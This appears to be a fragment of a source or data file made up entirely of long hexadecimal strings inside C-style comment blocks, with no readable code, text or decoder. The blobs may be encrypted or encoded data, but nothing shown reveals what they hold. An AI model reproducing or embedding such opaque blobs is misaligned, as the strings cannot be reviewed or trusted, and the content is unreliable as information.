1e61b9ad772ac58419ce580e26cfb438490563a491cfec86489ac6cf5d75630d308c48ec450c74980f7755104288c5032f77c2d80c9ab0ab600d37bad17881107023a1e7525701d01f1034588b8b367c7cda641466745e54379f87b3b4b97fce8aedf163df343f8268f7bee895d35c40f26b97257dd3348834e671dfd7eb5b11246db7cfa2e0e731656a818dca3218f9fc4432accf60cf2246ec9a18c625b007b1e985eb219c499883feaa960fec5886d55382e1e75ffb40298a8ae5e25b877c116435ff138761273314a7d3d763c9237d77a308f8a66c57de4a2234b38d3e152dcaa90f21479bdb9dc3cc6be4521cee8daf988c3e4022e0742a4eb3d1166a75ac53e4e4c431b60aaf2790656926dbf971c5ebd996442c49777b812737ed479140c5182a1c897654c23be55d0e659712ec05eb32e757b897ab46539ebbb4284e0e8b9feec23436e72ad28cbb0e10eadc5f35cb79b8674f8cbab9cc41585524f6134ed057d93e6cf4afa8406ddd1d3475108841cb535f0cd6f097bd87a31ef058efbf388009db97ed67d870cbfdab95781ba22fa0c53ca0879a4acde069557e4b8d08b1a110c42a1e65df0ea3022ef63f9b2e65c252ecbf743b1e66faee9c09429d0b52977e06064237a87a35aafa8dd8118bb8fb6e5e2cad542c9a911a9a655d783c6ae7628be3590122485395c976a17e1ad1c26b0863ea7a1c348d2fe63770c2443ee6ca4f6544c9bff23911c1b7b0fa7e13ca675856059c6e8378974812ac39c956dc196006dea0ff016ee6b3634899cb36bce85fdf80e32c7a4cb9e8d64cd2c34d80bd5466baddb4c4ce158cf887d22fffdb7374f44a6a74194b370f4d77f49c72e826c285ac8c008b4d77b7aefb3b1268e29bc4c1e998a9fc301481186596a8c38fea89c2aee1798a17ccf2f1ec0bcd5d771e6fca631cbf79721a9f5de6ba1fdb12a91c4106df6af81cb81ba23c0383d77b2db0c1fc7dd465295ff56cf2110fd48499138bbc87df176838f0d0d0178e7406012766f2828167a049728fb789da19845a23751e68c3beb28ee45d2f1c3fa25aa906fb0b776bccb42a76178a2b5b9588e2f67f817fb354b44dd27bccc8ed2594cd6b2c9ada67bf8472bc5d3d0de9fcd169d83e3d4868cea08e18810a901d75973f79eb33d7a03249c75a805ed4f7d9053d200755918e6d0b34c91276863873d43577b6b902a4484684e8a78b6eb01845a75954fe3b7d8be703c777017334fec5b6851eb3ddbf0e8ef5d6d450274764c02e1dec3e9856a02a03b9e2d10902e68a120430314ccade441a2a4821f5066d888dd5f68b6afef67d316e347d8a37a862289b8927fd1f1c2108f7936e3211702231b359102bf5fee665699a208349533fccb7571b4f80e705fa803fcb64ad591a2fca222ed70f67fba6f868b907b4f0017f3db075474a2d36f91126962944e66377f7d9c4b862bc5669bdf0a9d8b0c2d1ed17092837b1d1346bbe0435041825aba1ea59118fd736c96fbc2a913e82051be4d3d763fa82cc375a2c53c0c842865c2f1e53ef4b374559db430b6fcfb348a23596c4d9747db158de4b92c0922373b88f7d1df33d3aa39fd6cdc95f8e0cd52e71ed37708e36bff32be91452fcf90ce98cf8aba48bd683231ec6fbff15e301f278d93b41dece956f886a6cc0fde3017a01ed8aa29f0a4b0cb56843d9bc516a02c38567088b7e7979c370f4ba00b38974cc93991f6ee06510d4dda54003dd43ac080813729fdd0214a5dc9f4e2bb98974dfc6e4fbfded13c29e1b6ae4a76bfc9950e254ce4775990ef51ed9518c1012439a54fb7286a8d0b892e2425340e08c95a24910c5bf458a50d96e0fd1e6bff3eb21833a9f111350f90f0577edd662b1b27e0246fd4f1b76d013c94f91d681ffeb6c341787dc76d910e8169c4fedbb957d6fdee83ce17713722b8abd61b9d78b5abc4b8bf82a2d147538bcd80212dcabab81c4129306536cab2d45b187866fe98e198a195920ca8cdc371c7537b42f308996a16436f5ccaaa9ae8c0268d41afffa85ac*/
/*5a59eade2f92572e0495c2a07af34cbb948a42422f313e1fb59d1a118911b407974ede9801cf5c71e76b65eee4b282786577b458f37952ee7c4287846166f2233c8250b040ee3309fbb1a3d17cd55109d6370ba84eef868b8cc6371cc043446578a87866edbd7ec428c53a228463aa3e24a94ee3a5ffa2e63db360309be8640b5a87cac22b59159984e3ee2639f43c7c429cc6fb36adb37f087b284d35444dfed5654655736d21647931e4828f3e322375d136be62fedcf3c39a4f055592e559f4bec3d0efef396b38a5c6a2446fd5fc6d281a49664a36b25cba3c21d89b702de766fd87e2f6c6cf5174c94c80913d770f8529eef241bdd09498d2a9e2ed5f1588f6f2b11eec70a31dc37ba286148122a1672b1a436b4ac532c4d88681e199f0534f98b005edeb174015e46f4b8b34400d3e8d99a9748db4ef59d43842de0f3bb304bb718293125d4e259b6c68c47414193c7de59aaf7e02f773f93a9ae038afdbaff27b367d3171521de826e3d58a76cf102be4a9250690709cde745d90e2ed0d9fd50b307f51bac9b052641b767f9377ba155321f29199975dcb953835338f7f69a26f15871c90741c17512d195e264cfab6682da883d241a342ab8d55def8f3c1761294154d6f2b907cfcd248202a8721c5de16a4a737898e8fc1d160782ca7987e9a856d335af1a045b4a5750efeaa50a88b40953df018b96bf0663718d4a5740d62bd971ab216f846c43e4096f6eeee0fd70df4f08188fdcb9707c2b922dd795aac9b018c8a1e5844b04ec52f4afddcb15ccbc473e1bc7b840996d0c582a66edf061d3fd03b2cd15f63ab28a4c502dba26796081943f3cfa0aa4fee76c95b4e16f5a9113faba35cd7d53775eb41e2b09472d9c5d6656ba0638115673615bb895749e4144c4edcc79bbfa2f87551d21694bbc622f291d47b8a18c42482b5dce8c3cd2d76fa74d4f9a5d51e34b3f3f774c5f6dcbdeed3507f66fb2487b4d4b1bc36420ef14ede08dce750b499cdcdf6ee5aadd98941232a82a42724da23c03c4e55dbc57febdd4d613c4e0dac2a17427ed19d97b8968c793aaad4cde2f48e5e8ff435d6a87589134132bf491f82fde1a7f50c0b5836ae65419ea7c0f0f6d955c23a4e99e758abc9e49543026b4b101b520f89d8e6cd20dc5f5665447fc9e46833d0388c98bae242bf91d0292d359f133c00860deb2d676b513420df2d7137a6c93872a3407eb293ee190e77e8dfe16b6f43e2fc00de85d34298f22b6f167df01eb800e5f0d451dea150b6d88eb309191081aa111ecdfe2f43fe73dd75cb0fe9a963732fddfd8e17d6d763e382ad7e233d4e453af69733b02248cf1e604a2dc977378a5148bd43b88dd830c43b6ac8c5d0386ce4898b47c8bd267cdcc400ba018bd324bf96c50c26d9491775db0ed7f09a3f6921107ed4b9278f0fa3e80cafc9818ca05e9695807dcc772e2c3e49f604f52ff166a258f97dc96e78a511b1922f610c5d8a1c299774278d140e37a2624c849d993b8661c5f510b4a68375ac340cff18499327ca5e454780f0880c1f35372ed1c2295d7503c7ee1517edbcce9516d25dc56fa0393dabcb24d2b33b9632e0bf9f6ddd1e6da43c4e98f0da75de51e1e895748ac5036c33471f99bb147055bccba77465b0819dc6b4a545eea07ef7d21c2d60d900963d4a63239339fba2323daf1c03473e594b959de31b6423920e5e277ccae369600375b9aa924d5255ad5c687d328ef886009ad4a0dc7823bd36ad88c3ff7be546c220de84ee51fdf1beff586d8f27731bb53ea27298929171baa1e75a4c8d1b187cb067486fca252bbdafe884e6c623acb26493b76b5d48f729166000aa7b2449fdbe39abe3d94b4e94605e08ed92d5f1886d1cd182f4b67c0cf958bb99450de61dabdfb4dd2e44419a2737a23cde43c43930a3203e90a2c6326c68c6c2d7f7863387c9fe011a45814f4b414525fe13833233d280e05ff8ddd5d0098a02ded7146c1b8993dc03d5e41713a7992798e752dd25206389c1fb70464d76a83b5542dd9e0031d639d7043df81a5f652fd0fde60e7dc09868394a935729bc8bf07931afbdcd7f164524e0839450352767f3462c12e539fd1b9902c8b02c6ba916352b844fed981af3764314ecce729e9fbd4fb55020d35bac2a3aa935d1a8a35e31478588c04cd22069faa86dbc3f1a5b3deeb168f1841c852edeb13aff4ddb0e393f22c453d10f05ff828717e9755d28b6ca4abcdc9856c87ee282ea6faa8d9c982684b0441822c57060654d3ae70614c96138e6b5371cfc636f191a74f0936f5f974bdc35947a244a9af3b7115ac1ba45ca9294d661bb97a6f2b7f6a809ffed1078557cb4b7eff6d58ec2b38bb8a160d2cf1fa5cda0ae1a0dfc94d12e5a06f9ccd3bc878197d4c721fe199402f42dfb12ec014145167364d38c88beae1d8cdc463e8e285d28192a1daddf987241f3568583aec6326801189ea33c878f58d1a4e6a54517ac753ead31edc32aee216fb911ddb6fac47f0cad11d89c4c573d8c59887435a4f947e41c79c9079747fe87b55f67404ee6d0f20834f2fe080b5c1f31ece637c977af18244353d97f6258309280df7b8c8c85d967d590c7a792999475bef217fc49f2c749deb5ea2f68bcdc58cd3068c5fcf0bf7beddbca61b19460c2fee040f12544bcdb73a4842b7bfdb947df8b98df637043c8a5f995fad4393c0670f6ea32d242909644ecc8ed9665a560ae12d716e25dab5986cc19f85d5608818d80201a8e2f32527b99c95050d559078ad4f7722c393321d209737f94dddf3804dc33ee96a0c3853d1c7fe2*/
/*019f27bcfc1b5938d05e779fc0b28c23c34574f946330df9d8f5829db8a58532722c57eb62ab9ea91af54ca55f47cd7d723f1d9a3c94f6151b43ba6ec2f3e441f96fd33289f76dea9c29310c7b62da7723131dbbd3d67c9c3e6ffe1cb51fe95ca3158ab6fe4b8254ffe8fbc37780e4fc784fa81d6ab73848e1d85903906c49c884922036e7e4d9c4ed0714efbf1f09eb479d1f3fbdf896d9317646d5ef133c9d698308b92511d33772f5e13a32316ce3f211cf0a700dfeda8048ce7efafb0289ef4bba272831eb9d03ac636d7f7036d2b5cbe7853ec45298fd8b9515d74c47ac91648c89030a7db979235f1d0c7c7b7b1cfa199753cea823698258eaee3bf013cd6eb8769b1a4fa745e356f004a82678e768f5fa00ad4d8a3279aac6712dd8507728c72cc032f9a32ed9796c9102a4a923c59115aa8a1a83e011065a24ebbd10b616afa7b29f479787758251b495f0c59590fcfab33be44f641e87b8f027b52d694ef43e17e5e793edc722c3360f01cc65c08883834bd42853c0522ffd6ef50cf7211c71ef0966f4706d0d2fe1983542de242dfe30515959b57d25901bb09ec2f8dcd7fcefd2e1cabae86323e0aff4304028fc8c75077e3efc854106fb3af554a820501f48b78dad393799a2acc12e44c7bb6c0e3a06221f55cce275e4c307bcb0b48a92d38cb78712743b54592a316e1d77551c05558fbfc9599f8bb929618f298ec722444cdeaddda096d7a1165ebf2ac3153131e0c276f050e51d1f83bd478ac586ac094b63e33da1d5fa23060d48c3965fea83e0fc90c3486332a65885ceeb7af102a15631a78aab515b09496f243edf77e6860de02c56dbd7a45b2adc6815c196951f866ff8213e706608785160d90025e66df6ee433c7a2ac104c0025a506276adbcd0afcb44916e98a7a05948f1d429ff543cb57d1c2d1a3dc85dbee6290210b86437aa5e2d5cd3e3415ab536a4f1e6e13746ebaac8b99e539e92fa6ee8285167cac46d5bd7ffe397c383eb3188cfd9a31ce8f68dd7ef2be453830a35a50d165e940567bd19e1ca7a5233377b9c5fa6bcd23d0ae83e302cf23bf622e4f0f2e9488c428c4a18969bb920cc4e2d46872991e3349640ceb05e35b165677ede9a9b3107cf625f2c386bbae56ed9a8d0783d5aa343583820c799f172b0d203c9230092d2558a95b565493245808ba89e62079bad86a7649d35854155c9e9ac7b04c328a601b2e56420d8db1550ac296e8afdf61cd792fcd259cb7303eabd432efaccf33cb6b5697ea089476d7c260f7130222580fe7e2effb07e1911eeff605f3925395d7f2f6a5c47fc698f45d07eac4e9b91c1a1a3dd458786dec44db49a2b1fe96dc5329bb9214ab2824c69989ac3696df980023ecbacfba3b7380d274afaf8660dac811e17f4f0a335cbe8e6b1d4b2d2fbddbc0744f0484b37aa5682888a1420cd9f43eb2f6b38c9992d7cafcd421ab976a98a1e941fdfdaf9fa1b9c83115ab3c9ad8532b90e22278dc1c7abd34108528cfef23a8d2118eb7bcd3dd739a3312c291baaccc5602f28df3d1e49479e5a3681bac25f875a607f5731d9750cfa21aa2c3faf74e79f51edbbc1acb6378cf4f628268c262cd834e10632607219b0321524ad1222d4d6bdf6492b29a43bf8d97c6a0028a1b5d18e99cde9d772a61f6fe85e0761259e149fdf658beb4906daf227475bc0117d1cfd26e171a2a069ffb9d29218b059ee5f5839b626ca4fced69027d47fa5dbbb3fa0cfb8430e135ab0666957368c9ae1d9b171dd48f2592b705c1d71e7fe0f74fc463586a8f2fad85245ce10225c51d56524e3a2e860dff52b92acd404bb4cb352c7af780db19790d35e43e5c799680b9a6c173f4b3f9df374d95e66a68014416cefa8d8bc8b73b1105f3ec965338407707bc65aa004ea9f6adb408724dca31bf0a2980a074fcef873692145f9c9a97e3af42ca29534441c86a63909a200906573834261359e28740ce2b3bd6810dcb067c0ab84494ede4c5c656e2c61ef58eca8efb596ab2a2a710c656e7c95aef948862bcbf73a60e0e7193260cd685dd7919e5a68b9c124a7a9ac7bce02d0be4ea244274731379a112b1d200aa706ee0865c8fa3f1cbfb9a685273c49348facb10eabba443bf4516b7c78e78b3c0650ec1f0d441d00765f2bc23f68f5281f521e20151653522f17b32116bb7932f4c259f89c896b6facb08ad2bb0e36cb3c1ae1b9a02b0406da2917d537278db7fb2e9a1c116ade9a1ffcec5d16471ac617f77fc503beecd249750b489ca2bacd9abdc99ef1eb4f1bda63a60ccefff035e424e4a17fefe41ad5fc08e85b98a11e6f6013c8c6424324446bfbddec2dd905193337305b2ef1645a9956ada7b155520f64e9dbe23bb70f01e7befef1902c6d7e5588753e7a17253f9852fc3417f61427c913193b023f18539d2dac758585d9ceac5f242af7c43a9d8851b368509ef684e0d28f2d5f49c89d5d39d8580bcc73ec6bd614433ad0f2d89f93b34418960a74b91b7d0e908c1b0950d780b7916d1b23ddd3be65b8a9bfaa29b96b8eaf9dda05b8ec01473e9b2c69398e46d05369ede63d07baf1506f78ab68f176cfc54cc4a0ab248d35a2fa51f8e80d0828a505c37c29cc72464a510f037cd41bdc0ac4afe55b418e68cabc7b77cfc897cce50303b71aa5cb5181bf56d9b28325bcd415a4ca4883a697aba15703c452b486870da52e9685aa9e1dca68086a6605e8cf3ab1a456d207d4b6b4947b1905d1bc3ceeaa164642a031e2d7d40cec150987ebb9b3b12cb7b1cdc53f7bf3d494c5a84c63ebfbffbf53359fce228314d8f0*/
/*8ce23ae7d8a97691e06cedab73abf181be74a8220330885fdae1deac1058f886ccfbe6f37cc201a37889590ae31cc64db6450f2eb08e769c3d289107d04887459a9527cf04e5f59514ba9ac7b6d2c5f5b94d95da28d38e1219f2ebe2b8d61acb18c8fed0b30a84e0d71b0b7946b85961a4d09a90992cc45504ae93808416a38c93838a8ecc9457682de63cba8a8818bb470eeb6729b3a0fb3508baa6332a88297897df1b1369cacd80847aa398dfe0c3ae669b97645d467076ebec78004dee6c0f0fc113c5260c94a4ad9943d8e876f1a9515131e1ad7182211b2b5ab5f2f87e95c2a745751efa0952dff9c83cf35a8f5905b4877c6b2e45af1f03f8ec5f15cd914b850833a5bc5e53e58908c03f69388c768173eb2aea377d8de1cfaf982ffdfc6cf994bf7f99ffcec6fb7901819fa4fad0f2ef755d3a85550596e13bf2341c32ddbd3b8f6c6288704b5814e7cd59fdc1cf19ac0c5b8442ffb4865f23a54c62dc680c527896793c0e8e095e8cb9965d7ecdc4682e020adddbce8ec0764a73ba6243551ba4945d8998678aa2bce65651d56b4e8d473e8faa367fc0fe038f136fb56db8cd21380a1704c7afcd54a46ff75bf08f2539fa1b67cb61caee6deba9d998e313d9993628ad5015596cd1a6e349767599afc05a3df2f0f98ae6507010f9d54d43b2aff7dde5e473ce21088fe8e8bbd113d339feeb3073bc426c65d7123f053fffc0fad000ef8ec18af91b64d8a619bc8b6992edfa998a46773291228d5009cc2bb3c201c57c85e554bcb7a7e6282dcd600cc539b5b2b387cc5bca1a74d09c9debcd717a7b0729c3d0e4cc7e053867e9a62d6279486e430394551f2c5d0d68a7f5d2d8d184bd52a89aa0a5a88675a74522017cc3aa7b638d592180c81a14f97f94ee845edef2f425f1043cad81e05a3495cb01b3c871e2276c043f6e01b1a864a2da9aae0d845322229f3223fb4bbb1ab11daab1e4e132ea5c95e6f5f54a90626c050434a4705f26657dffb070e994d4163551e0ead391d2f01f5c6f7e1ede76afc62a2161c1a5d2895753caa2e2ea933b09663fac7f8d9cdc421e21b3aca46078fa6eb73257965ebd002cd20e4305f6ab0f8d6b0b0056455652ddc5d9cf02f31ae86fd93e42e04e2960a64c22886f50a9a5ae2453d3b2c7a497da3eb3c06c9edc3330100657a9d3ed361850552bc1273b1769c7cc6b8d164e4049dd88459ebdde5b2a04973ee8acc49b3a249e4c2b1e160c2001baf03d06bfc276ba70db40c6bca26deb0695c215f9b6027beb6eccf3621cae7a645f0fd5d7cce1ad4da563e44d10f3998220cbf6fc31aaeb2c9e3634a15e619fc397a2ecea9225958260749ea17929aa8445ca1fa5fa0f5f01ad0e311c156c1de6d9e4a8293e113322054e06713a3eb08a4f3b2caa6c2756c2238e115eead987f0b85db12ae73d7b4ad78bfaa8cdee1ed00ffe41040437c04c533bc2d606bd69860c6208a44f97e04d63c8c9154ed8a3723bd8c964eeed67e382986063afc57f24127c174d30867f0c381b4e49009d1d4095eae6b90ce4b0f3fbcf22981562df53de23d40188afde39762c33c40848b14c4214f74909c31427ff1f6ee630571e5b0ca3eb1661090ef011bbb01c79278998bc4122750d2efcaf0187d2090e71e9e6a9726a9be379611d0e8df1f97d3b01d582ce516e8df246adcaec8e1b140edbc49cc27b5d84687b27a915e2fe591c25b6ad33999c0c824ead0f0d4228c768b28b59f371195b6e20e8d46b0f344149736e1eb61f0027d2c50af828182a2f765a3634978104d0eec09b772d454c17b4bb70a4839c798ead6d545c234dc0df589bd1bfb170cb3cc8b3274ba72f9e55693a787ae7f84058e88bba80c984e69776b6b097764ad973842360c13a810c43dd89cf4f754cefdaca1b278be121ae15e8fb1759869e5792a5a0de883da9016a33b37ca346f89232efbf18636f00e6a0d36b3bd685d8de3f0c4411a9d2e76233fbad23d6aa3f2ac3d12502024949184a357d53d4ab578af376d1305c4887d8285c02569a53c359c60226798ea4749d21b1524e8a2701a79a28d8562c1640f86f7d029942e4253f45920b64f1b161283b16fbafae400c5801399939a83baa808bb2991ed0bf64040cab3429f2b0bad32ea085c6b03797c057f8627b8b885f0d5a6647c3912c3b5bed136b0c89c21431770f80221ecc43d8c9f68ea42ec7ebc968076975fab5514cc53ae4c519c0b8d7560fa7cbb7df64e7d797ac7137fda087fbd20061da71394663db6b714f438b420a3c94e06f985b8d7cb42cadfa10f910f348012b6b8b045fe08369f05aa114334425c17d7c48d2aeeb1eb83d9aeb23f33f5ce789f8bd77341d5028961f4b5808c1655f211b17558e4a09bcecbd9dea63e30af7541acb16eb8597ab3e2ab62b76e674c72b08228933c42b6071c605bfaeb2cf587c38edaf8ebb0205911cf44a1a045b184d4039068069fda327dd4c93f6f7e0f1b72a14d00f01d894caf77ba749e06f40985add06b255938abc017d01e785a65560d557725c77b3b4e158b3367d4cb81284cd4bdd73d5411e9aa808fdbdde32bd1013815b941340aba0259476e7cf45260c3372d2f42c5f509bc8af934f3942dc0da1477bef4af273cd268e5d14aba1801ebc08a6b88a85ebb6c3dc8356bb8731879c32b2241544c535b373e1f5bf8a58f1bc290eca48e15acbc3bc2a318cda2f79d5d1fed5560ef1dafa71526a1f9f2d102df3c6fb66eff2cee304bef79d59e8a0e03977402b7573177be5d58ea4f5fb76fcafd54aa9a94bc33ffbdec7c01c93dc64863b2cb7fe2dc926*/
/*0c1be99cad49d522bb9c0e7ceb3530fa0aa1b1aeca3efef04b1c70e837be94afa0fc596a60277a5da2ddcd14cbf2a7a0d264d8772b59cb5f0c5c844730c8e075cd4a83287bc686888e66379a723d013e618ad1aff669584f48d818609dbc560beeca0666e86a18462eeb3e2f9d71b2a1cb4d4f79d70d40be7a3b9e63ec7c4a22c1cebd7bd2ef38ebd7575577fc0f60df80a098783fa750f3b2bfff01778e32f547f2988f58ccf111f7c6a5275bff67a1eb6bfffe77c15237926065ddf61a9f4ed7d6ad8618b5636ca6530a6959dc04640612fbee0883b90247241ec43a29905b38052684fe567fde747f74afdd81767bac11878c1d4b61df651a7bf75573a25a8da411585615202e9d0f304961094d039ec8efb573d0c627d8332886b5f7b58985dfbfe5589cd47db04fca50af3ae6bd1b9766935c3cd89cb20ab38c46d765f5a0170312b1971121c7d5fc42270f0331b07e5113f9ec3951d23546d7d42ae4ebbff8a676c6d84a385fb6d9ab768b0701703f6a53abf5f4e703ff89a34ed0544bab29a4b5057e057e3371198494e64df5932eecf1f28a3056e347f1499155a15c568205ef63d384f1885a34beb66a475a1a71bf5c4de03c509ef7bf018b730c4533a36238966f22915402938761bc8aa32b4d1280dd84efeda863aab2c34df12be27d1a00707b0698a0b7d6c391bfaec46baf928325315ee8fcd49e09299fcbec6e9e497da7f7e57400787d60e7e31eeaf9e4129e72b45e26b3866ab9f2a31cce96293691b3eb2f3f676dd25e6b713d8c2cea89ce8780bedd0c7289d546b72de3c77205dec8036865fdf04cfc15e7d11781ff85f538d7cf5b3165b8657386f721252c9674645e85f1eecc1f257b79cef0837010055a9f316da2b6702444979e247af22cf089aff0d3dfc8772ebf135e73cecb8d63e1752b0e74adaee02e7b4c13a8f9ae2b86531f54c97d46755831495773fd0c99c8f4f1260211d8a462af072bcae8cd1905106ee4356e28c8b18c4ef85b205d212d6a62cbbf96e087b33df3d6a12fe4c4ce41601462b112df929089b1a020debc5a71e16ba93fbab57a1d1ef44e8bd8e9e8cd284e56bebce3be000115dc5b00d813b4908657b1c88ea8ad58b40fc8a870bd81c336314ab6450c3029b47003f6801ada88bed2f8d960f1e8743a9f626243f35838b424fcf4eebbea134f5c42b7f003c69335af64f562c295e40faa2850b5f1c4650d3a6c1cca40ab7d4d31f0a20155b2cbba308a6054aa491079c92822aeca5fa3e0698bc0a9114899e3b60d7b6e9876f65219af392396b92c714f3cfa4251ae05f1e7973722e021bc818b07fe9c0e4582b802327be259c3aefdabf7a99069ee70e75c0fa33416d974ceff419abd394244432cc26be651e4e2be873b902c27fe7fd44230605d06432fb83836d362dc97cf1746c2eb9a96ad27b2d6fb7ccdf7af647787d892db6a25a479df1172724542dec7e4eef9ac8cd2fdcf117684cc34a74351f64ce891b061a84082d16941e59f3f01300fc8acd794a4981141080c43cf492a96f852ed332cbe6137f3dfb1088fb2fc0220053c7b13b04c754a41e5a72afada480b204efc0274792444e17e038c1a0afd47d8fe807f665e0a64c6044e911d84ddc9b45b74dd3224ced89bb8c3eff224a9c7a1fd2e7e63b5b327d543e1f44e886f66ef1c2be9aa217ecacab3f977c90723b6d1a0412cd4b2a7bc9dcb1d20fccba6fa8a04ff5a5087a84efe3927c0f844610b247295368e8ef9f705c6e3dc7edc1ae8f1414d3cff37314458b4dd7dcaf931cd78b2822910cb4da57bef36e0c454ea3a266fd6896cf07a2f605acde76f42d24e33eba377a5578022b14fb512eab19083421a9173d2dbde3ff9f64fbcff368c717bf2c671cb5c9987b217ebe06efea32be2e0a297ad4ccf2adcedbbfc4cd1866d5843baa078b8db329c3be43085a08fa50143d7cad811abac40af512cd760eb8f4ae4e1c68d044e93e0e3528f54b383aeea97c3568655adb63032c70c643f573b28e895ffef64aacbd8ab9bd9916dd986c7c2a51c3b78b80ef2acd71dd9b48996ef9fd5aa1418ab0c45b2bbc72ba142744a58591b0be836dcaef270a6dd0cb4d3ce86c88b4c8647573f99597279d8b645e896a6a9470d7209f2486f69d5be393eec6679fe3e777c7177ef3fbd890ef4352642f26f2ba3af7d4d67560a44eb06eeb27291175d376493e1b9aa618c22d897d662165ad3e5ebab2e14ce9853287c871656bb9fac26680f7d46714f92c838d7e16f5889d26a16666f86887e300f7920b5bf75ac6abe6f16bf231038209cb2d877845c717f80a6909d194a1d5a947807ef94e8c868ccde8f46ccea240261f418acce973c56982664d66850bab1b8a2bf1f4833a30274007ff6c70a2d7d029b60badf6d8bc33c30b8e7f8fb2ce6cf04299ecac6f4501221fc0b4ff496f3cae351b1833f95b7ec736646bc817bc6776f13d1b0c9d8ee92803b306917f262f3833619c90a705f714edaf55fb1a56eadef26c5f46d744285631d382da9839b76b4a5c471e62428b0182c46b37b201b26fd8cb93d5136bbc81ea5cd8397f0cbe545f15693d5cb8ad4040a1af0533d2aa274e99b6f7648b205a419e2cfbc1fda91b5169500b15d47dcede4daae2502ebd3f2e892e2704a486b67121771eff8446f777f8ae7d35c46058930085ae6f68c910b3b2081ba9b00252e3ded0fcf3b453d702fca2541dba4643bf9a051896bbab23b187f45799820fa50b280fc75ae4ca6a7f78189f2486394c7244d68d23494280582d49cc3806a7e1b812f92c39834eb3ef696ce13387eac*/
/*1f3940aedc1ddc9386c917b0683337da0dc056f47e4ddb87ce0f14c4a32a4a4a23152f865b009a0b654b778a1c3df0b6b5db5271879bafb0cd7bd3e37618701feb73c5b42d61642f1e67e79be00a3abb58b352e02b34f12fe146dcb0b2d2ff1bf134d3bea123752f1e3361b046a747bbf45755dd9c8881ac621b2c21bcda74c4ab59e3cb79d42c3731caaca7fec1127f9bea77f60da2537af4594285b6970969813ad53d31ab01e8effa2449151d08595e1ff1e2de2bb743a04c865839080cd72a88998da6dcc1cd7ec677883f0b34561f64ce9f3661e47001e11d4145db92b0df2278c171f321a17031209aedb458bc2bd45723c02a2e3a9328978506694b96b58d4fcf8be11ebd39db110166afce38aecef1898ba654e1ae2632bb6f6a5b6b9f28324fb93912a27f20fc4980da5d5445ac05858202f9059861f21fb8a97a98b0a6783dab69fd4ffac6afc75b64c36ca4e42afa77782184b11f394d09d8f42c2bfbaa486b36bb6e58b83730abc72e112425c1e93b9b7f34d6f9f374bbc50dde90b686399bf9bec28a21f67408dcebdbb11b0527a2564631ca0cf7e07932aa645e7b9eca31aebcdd55b020873319a56525aacadfcd23bca917d38dd1ea2e9477e4aa8e4ff405d27bb714863286cbfb901665be845f78121fe454831e213ed1b77bfa49148e0016dccba26307b8f7d12530bcb0988badfa70cf9bfd6664da61a977cf17704fa4da8a59f23062fd1258309c6afc0eb291990dd0a21505bfbf5efe94ac231a211fe009d79bddd210e91d454819fa8a68eccc246cd31504e5950822580d18bfa177a5c520a3c01a7d2f150150b16b1615ea1bdfafb0068b183d61c3665d93446716327acd3e8520933fab6e5b3d46674bf1569901afcfb1c1d73e13cee456bb109b8e836c517c2fb422cc4ad66d0e102388f1e2dd80c70dac82df11e417c954af78e028c66868a73bddfcdaab652d8977abfe06aaefbb7c43707233b1652e29eac6442b60337730c7f42dfc9379d63c18093447ec90b18ef0be5f680e9bbe1e7672c0b365e29184fe2617f79156f921c21b283e83c5302f25f80d02166e9bd77b229ed5e90e16c368fbb467294fa36185a4432f54a876f4dd2d7bec743ff1157dfa45068510e18d367121178d5b695558a1ee058a6c45886a40f8e4ac03d9c95246d2efd28c2ad8d557df0ac0b26753a7463db421071e887f4327deb6b9d0068f944c2e55a535a0247c806b0e81b25cb6fe2eaa9c8e135975aa503883a8cdb12050f09e77c3f41bd66219112209764ee1f1e583261199bd8e5c79cb8c5401cf9bfc2061aa6a661355744862d5f8d6ded2d4043af21464dadf7d61c07eac204c371e1b046f437bc03a7d9f3218b25d1d27bc60d05d4c63eb8af878fff8b54515db5eeaa9affe58a83480335d26c6d7388294aa1a95053f2807e6e5dbe610cebd06c7918b162fd99cb1179604573b6e7564f80c64641b2bc20a0c1d9c354c24098228ce5cfe731448a041a1f4c353640194f43713a7bebb160eb1ca6b05e6c71816b45420cf6901b5155d5294cff8d92ca45ccd465192b71568091ab85c6fcae74460f7840c8f9734b183e153d458584b5a65c422cf42fda2a7280577c9475d2aba3eefa1016b605256599654f3db3a2ba734a13cecec1353a287e09b407b699e25f315153fa7189d2cde3ae7ed4d191e212ef65e66634eaba00dbf9af23258d90e6b26b456548c035062c8f016a0ca22d55b70cc4018c33705287326d43af66ed93e421d67015ec171e03be8ec2228308456f9fa239ed8b965f7f5a01f61aa48dbe255c34769df8de922151cdf0b2684c08b944daa2e4345c30687e1ab399227d29f07935ffe3a4f4ece18356423a1bc6ed6b4c1d7ca1139aa5153c5121d6704b5826eebe51393885177adfd9eaa98a07912cfaa1741e65f5cd58ff583b0bb29d7bc3bfd41af96f50acfeaf8cc8ad69871df9418ec7be68438722b66e5d85f576b1c2b3a16be609b6a581f7571b84af28b75c9575b74e226a5ab6fac4693b1833104b7ee4b338e35137a35e830893e14e28ff52cbf46f30c1f007545eb2656ee6f3124a8cf53f53c4302e590fcb262cd71ec3736879170f988c728896de72e6f08eb9476081a8ee92068eb9863589168fd332263860a275be6dbbd034ef05943e6688c0989bc6451e9896bc88021df2e8e420733ec8f369b3527d9266ce5540c6892dcf629a407fa94a886ad81326637154c9cd96615d93203cf81fe64c24da94d569ca54a565952ac8c92d982b2cc385315539075d44f8a45ec0a1f5f23b74d9055e1368d846c61954ae2f36d1a80b7c863bc4a0aa50b18e48798a73a02baedecf08914940a3a2a15ec05e3749da56b5c4e077e53efe49598dc6c6f42e733e03e1d1cfd7595213a44ed691dbd1a470c9b5d3699cc395027b31e913af0bce841d40624acbc879c1c5782186beb83f47f91fc21f3beb23700d51c61591b117f939a16402ebc50e5da4e55bb43400790f2eb24bf05c7c98e084d6b2bb6d9e143a9762b3acdc6ef7543cac9aeb31fce22b30f2c419ac3988904c5fa4bb3c06fca5626c0f7abd724bbdf931b11e18ef15a637e495631ee392f766437df5b751dc29554e5a0792564c5932d5fcce01d2ed0391e847d14821f292e38483fd5c5f432788b54170e94a6c47b6c57a69debbfc7dfeb8fcbc0468dadf1b264c98e51c540ab064674a9d773366693190f609d4563de2a67c6a657230b545ef1796eadcdcb7d9869de98f7277dd6465923574fd5b4203144573163e1ef7b8136cc61a9497beb3909b88041efd94eb93e8908*/
